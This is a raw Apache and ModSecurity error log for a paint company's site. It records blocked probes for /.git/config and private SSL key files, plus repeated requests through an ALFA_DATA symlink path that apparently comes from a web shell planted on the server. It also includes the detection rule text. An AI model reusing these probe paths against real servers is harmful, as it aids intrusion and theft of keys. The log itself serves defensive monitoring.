[Mon Oct 26 04:36:50.255748 2026] [security2:error] [pid 2990575:tid 2990575] [client 129.121.75.86:56088] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at8RIjnj8sJWmxnIswzOdgAAAAQ"]
[Mon Oct 26 04:36:50.255952 2026] [security2:error] [pid 2990575:tid 2990575] [client 129.121.75.86:56088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at8RIjnj8sJWmxnIswzOdgAAAAQ"]
[Mon Oct 26 04:36:50.256213 2026] [security2:error] [pid 2990575:tid 2990575] [client 129.121.75.86:56088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at8RIjnj8sJWmxnIswzOdgAAAAQ"]
[Mon Oct 26 04:36:50.320741 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.193.2.57:3164] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:37:02.312124 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 18.206.47.187:19348] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:37:06.439370 2026] [core:error] [pid 2993961:tid 2993961] (13)Permission denied: [client 54.85.7.119:14694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:01/physical_node/crash_notes
[Mon Oct 26 04:37:22.435706 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 98.82.107.102:27334] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:37:26.378546 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 98.82.63.147:47514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:37:30.459756 2026] [ssl:error] [pid 3000052:tid 3000052] (70014)End of file found: [client 44.193.115.232:20557] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:37:46.439953 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 54.210.152.179:22435] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:37:50.564301 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 184.72.95.195:6647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:37:55.661777 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 23.21.179.120:12812] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:37:58.392913 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 3.224.104.67:49671] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:38:02.493095 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 3.90.73.206:20223] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:38:06.445415 2026] [ssl:error] [pid 3000181:tid 3000181] (70014)End of file found: [client 3.94.199.128:10586] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:38:11.484662 2026] [security2:error] [pid 2993961:tid 2993961] [client 64.20.54.226:47864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sesion2.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/BCY00V37NU16CLCZDG_UURBITR24QOQM"] [unique_id "at8RcxJqpTbSe9f2_suBQQAAAAc"]
[Mon Oct 26 04:38:11.484710 2026] [security2:error] [pid 2993961:tid 2993961] [client 64.20.54.226:47864] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sesion2.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/BCY00V37NU16CLCZDG_UURBITR24QOQM"] [unique_id "at8RcxJqpTbSe9f2_suBQQAAAAc"]
[Mon Oct 26 04:38:14.594416 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 34.195.60.66:4726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:38:18.042959 2026] [security2:error] [pid 2993961:tid 2993961] [client 185.191.171.14:62654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/akaunting/php81/edit.php"] [unique_id "at8ReRJqpTbSe9f2_suBRAAAAAc"]
[Mon Oct 26 04:38:18.043010 2026] [security2:error] [pid 2993961:tid 2993961] [client 185.191.171.14:62654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/akaunting/php81/edit.php"] [unique_id "at8ReRJqpTbSe9f2_suBRAAAAAc"]
[Mon Oct 26 04:38:23.071709 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 107.20.255.194:43677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:38:30.534756 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 52.204.37.237:24436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:38:38.514948 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52464] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8RgqQ6Y5B7MWdQ1CPl0QAAAAY"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:38:38.515038 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52464] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8RgqQ6Y5B7MWdQ1CPl0QAAAAY"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:38:38.658379 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 52.2.4.213:46631] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:38:50.474139 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 52.207.47.227:63401] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:38:54.609986 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 18.206.47.187:62929] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:39:02.592329 2026] [core:error] [pid 3000174:tid 3000174] (13)Permission denied: [client 85.208.96.195:51356] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/min_partial
[Mon Oct 26 04:39:04.804437 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 85.208.96.203:60106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8/aliases
[Mon Oct 26 04:39:06.497665 2026] [ssl:error] [pid 3000155:tid 3000155] (70014)End of file found: [client 3.213.46.222:7898] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:39:10.490683 2026] [ssl:error] [pid 2996018:tid 2996018] (5)Input/output error: [client 3.227.180.70:6700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:39:14.683692 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 44.197.76.210:45095] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:39:23.125011 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 18.233.24.238:44835] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:39:26.712182 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 18.209.201.119:38583] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:39:30.556092 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 3.231.193.38:4412] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:39:38.880033 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 98.83.94.113:7268] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:39:42.732160 2026] [core:error] [pid 2992282:tid 2992282] (13)Permission denied: [client 98.80.130.239:40136] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:0d/subsystem/uevent
[Mon Oct 26 04:40:02.722738 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 107.22.208.39:5387] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:40:05.396645 2026] [core:error] [pid 3000167:tid 3000167] (13)Permission denied: [client 185.191.171.1:31872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/slabs
[Mon Oct 26 04:40:14.600750 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 3.93.98.99:41436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:40:17.236791 2026] [security2:error] [pid 2988243:tid 2988243] [client 107.172.76.131:52463] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8R5JTFFJ_fFCiEKI4iRwAAAAA"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 04:40:17.236871 2026] [security2:error] [pid 2988243:tid 2988243] [client 107.172.76.131:52463] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8R5JTFFJ_fFCiEKI4iRwAAAAA"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 04:40:18.696967 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 34.227.234.246:34871] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:40:30.687514 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 100.28.49.152:59302] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:40:38.998042 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 52.54.95.127:54559] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:40:42.833342 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 34.202.88.37:8845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:08.366875 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 100.29.128.75:22093] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:14.762929 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 54.235.172.96:64813] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:18.817953 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 18.213.240.226:35914] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:22.990917 2026] [ssl:error] [pid 2993961:tid 2993961] (70014)End of file found: [client 34.196.237.236:49289] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:26.980950 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 34.231.118.144:61979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:31.423616 2026] [ssl:error] [pid 3000123:tid 3000123] (70014)End of file found: [client 44.194.134.53:52873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:35.086902 2026] [ssl:error] [pid 3000182:tid 3000182] (70014)End of file found: [client 52.2.58.41:15287] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:38.846965 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 54.235.172.96:39759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:42.846761 2026] [core:error] [pid 2995190:tid 2995190] (13)Permission denied: [client 54.197.178.107:48883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/remove_id
[Mon Oct 26 04:41:46.917465 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 52.5.232.250:21817] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:46.917684 2026] [security2:error] [pid 3000167:tid 3000167] [client 52.5.232.250:21817] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/PNP0303:00/status"] [unique_id "at8SStrbIDRQQV24-Y9eCwAAABc"]
[Mon Oct 26 04:41:46.917715 2026] [security2:error] [pid 3000167:tid 3000167] [client 52.5.232.250:21817] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/PNP0303:00/status"] [unique_id "at8SStrbIDRQQV24-Y9eCwAAABc"]
[Mon Oct 26 04:41:54.847172 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 44.205.180.155:56311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:41:58.998407 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 52.0.63.151:60134] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:03.187578 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 3.219.80.71:13264] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:10.906573 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 34.194.165.45:14695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:15.012375 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 18.208.11.93:25606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:19.245991 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.1.106.130:53514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:19.828703 2026] [security2:error] [pid 3000167:tid 3000167] [client 43.133.14.237:41078] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/imagenes.php"] [unique_id "at8Sa9rbIDRQQV24-Y9eDQAAABc"]
[Mon Oct 26 04:42:23.128337 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 3.230.69.161:26212] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:26.947717 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 44.215.231.15:36514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:30.847168 2026] [ssl:error] [pid 3000185:tid 3000185] (70014)End of file found: [client 54.84.250.51:29918] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:39.076334 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 34.234.197.175:5157] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:45.721210 2026] [core:error] [pid 3000167:tid 3000167] (13)Permission denied: [client 144.76.19.24:59892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/io
[Mon Oct 26 04:42:47.420179 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 52.4.213.199:49966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:51.195613 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 34.224.132.215:6453] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:42:54.960604 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 54.225.98.148:20263] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:43:03.872278 2026] [ssl:error] [pid 3000048:tid 3000048] (70014)End of file found: [client 3.230.69.161:53075] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:43:11.170469 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 98.82.39.241:61578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:43:15.029086 2026] [core:error] [pid 3000182:tid 3000182] (13)Permission denied: [client 85.208.96.195:34876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/fs/cgroup/devices/devices.allow
[Mon Oct 26 04:43:19.053598 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 3.229.2.217:61364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/firmware_node/device:20/subsystem/drivers/ac/uevent
[Mon Oct 26 04:43:23.188239 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 185.191.171.17:44096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_mm_slot/slabs_cpu_partial
[Mon Oct 26 04:43:39.273713 2026] [ssl:error] [pid 3001569:tid 3001569] (70014)End of file found: [client 44.209.187.99:51208] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:43:43.137918 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 52.71.218.25:53514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:43:51.375078 2026] [ssl:error] [pid 2992282:tid 2992282] (70014)End of file found: [client 18.209.201.119:40046] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:43:55.281233 2026] [core:error] [pid 3000176:tid 3000176] (13)Permission denied: [client 52.54.95.127:31717] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/unbind
[Mon Oct 26 04:44:19.135014 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 23.23.180.225:53235] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:44:19.206236 2026] [security2:error] [pid 2990575:tid 2990575] [client 85.208.96.212:43272] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ba0bd_226e1_628385676803058d501ef6bd70b2d84f.key"] [unique_id "at8S4znj8sJWmxnIswzOigAAAAQ"]
[Mon Oct 26 04:44:19.206555 2026] [security2:error] [pid 2990575:tid 2990575] [client 85.208.96.212:43272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ba0bd_226e1_628385676803058d501ef6bd70b2d84f.key"] [unique_id "at8S4znj8sJWmxnIswzOigAAAAQ"]
[Mon Oct 26 04:44:19.206863 2026] [security2:error] [pid 2990575:tid 2990575] [client 85.208.96.212:43272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/ba0bd_226e1_628385676803058d501ef6bd70b2d84f.key"] [unique_id "at8S4znj8sJWmxnIswzOigAAAAQ"]
[Mon Oct 26 04:44:23.230177 2026] [core:error] [pid 2996018:tid 2996018] (13)Permission denied: [client 23.23.104.107:57768] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/ata_piix/module/uevent
[Mon Oct 26 04:44:27.819463 2026] [ssl:error] [pid 2995190:tid 2995190] (70014)End of file found: [client 98.83.226.125:29900] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:44:30.441573 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52464] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8S46Q6Y5B7MWdQ1CPl6wAAAAY"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:44:30.441620 2026] [security2:error] [pid 3000052:tid 3000052] [client 107.172.76.131:52464] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8S46Q6Y5B7MWdQ1CPl6wAAAAY"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 04:44:31.388956 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 18.235.158.19:40935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:44:47.256776 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 54.204.12.115:46750] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:44:59.348585 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 98.82.63.147:55479] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:45:03.383044 2026] [ssl:error] [pid 2996018:tid 2996018] (70014)End of file found: [client 34.206.193.60:60725] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:45:07.591620 2026] [ssl:error] [pid 3000167:tid 3000167] (70014)End of file found: [client 3.224.205.25:60628] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:45:09.268944 2026] [core:error] [pid 3000048:tid 3000048] (13)Permission denied: [client 185.191.171.14:48262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/red_zone
[Mon Oct 26 04:45:15.007912 2026] [ssl:error] [pid 3000176:tid 3000176] (70014)End of file found: [client 185.191.171.4:61848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:45:15.453307 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 44.218.6.93:50349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 04:45:29.414264 2026] [security2:error] [pid 3000182:tid 3000182] [client 185.191.171.9:57530] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/dpl.conf"] [unique_id "at8TKfx_QWKZoq9_Fp9smQAAAB4"]
[Mon Oct 26 04:45:29.414626 2026] [security2:error] [pid 3000182:tid 3000182] [client 185.191.171.9:57530] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/dpl.conf"] [unique_id "at8TKfx_QWKZoq9_Fp9smQAAAB4"]
[Mon Oct 26 04:45:29.414985 2026] [security2:error] [pid 3000182:tid 3000182] [client 185.191.171.9:57530] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/pcm/dpl.conf"] [unique_id "at8TKfx_QWKZoq9_Fp9smQAAAB4"]
[Mon Oct 26 04:45:31.390010 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 52.204.81.148:29660] AH02013: coalesce failed to read from data bucket
